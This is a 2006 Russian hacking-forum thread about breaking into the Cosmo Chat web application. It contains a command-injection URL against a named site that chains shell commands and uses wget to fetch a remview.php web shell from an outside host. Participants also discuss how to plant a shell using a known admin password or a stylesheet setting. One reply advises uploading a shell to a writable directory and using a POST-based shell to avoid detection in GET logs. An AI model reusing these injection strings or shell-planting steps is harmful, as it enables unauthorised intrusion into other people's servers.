Чаты remview, cosmo chat

Discussion in 'Веб-уязвимости' started by miniden, 22 Dec 2006.

  1. miniden

    miniden Elder - Старейшина

    Joined:
    20 Oct 2006
    Messages:
    258
    Likes Received:
    34
    Reputations:
    6
    У меня такой вопрос, вот я нашол космо чат, залил на народ remview и вот что вышло
    Code:
    http://chat.ru/logins.php?c=pwd;od%20source;wget%20http://блаблабла.narod.ru/remview.php;%20ls%20-l 
    но когда я это применяю то неф не выходит, в чом же проблема?
     
    1 person likes this.
  2. miniden

    miniden Elder - Старейшина

    Joined:
    20 Oct 2006
    Messages:
    258
    Likes Received:
    34
    Reputations:
    6
    ну или вот например я знаю пас админа как можна туда шел или ремвиев закинуть?
     
  3. miniden

    miniden Elder - Старейшина

    Joined:
    20 Oct 2006
    Messages:
    258
    Likes Received:
    34
    Reputations:
    6
    сидя над космо чатом в локале я подумал, что если там можно менять таблицу стилей из админки, то нельзя ли каким нить кодом подгружать фаил с ругого места, ну например, я на народ кину шел, а в таблице с стилями поменяю типа, даунлоад
    http://blablabla.narod.ru/remwiev.php
    так вот вопросег как его можно так подгрузить.
    ну или другие методы, я видео пересмотрел, у меня так как на видео неф не виходит...
     
  4. TANZWUT

    TANZWUT Крёстный отец :)

    Joined:
    22 Jun 2005
    Messages:
    1,474
    Likes Received:
    716
    Reputations:
    744
    если ты можеш выполнять команды:
    вот тебе и шелл...
    ищи для записи доступную диру и в неё заливай шелл..
    но лучше неиспользуй ремвиев, т.к. используются GET запросы... лучше юзай шелл заточеный под POST ;)
     
    _________________________
  5. miniden

    miniden Elder - Старейшина

    Joined:
    20 Oct 2006
    Messages:
    258
    Likes Received:
    34
    Reputations:
    6
    яж говорю, что немогу выполнить эти команды, и вопрос, почему?в чем ошибка?
     
  6. Constantine

    Constantine Elder - Старейшина

    Joined:
    24 Nov 2006
    Messages:
    798
    Likes Received:
    710
    Reputations:
    301
    А с чего ты взял, что инклуд, вообще возможен??

    З.Ы Там кнопочка такая есть: Edit)
     
    #6 Constantine, 22 Dec 2006
    Last edited: 22 Dec 2006
  7. miniden

    miniden Elder - Старейшина

    Joined:
    20 Oct 2006
    Messages:
    258
    Likes Received:
    34
    Reputations:
    6
    ну ладно рас подгрузить его нельзя, то почему команда не выполняеться? И про какую кнопочку ты говоришь?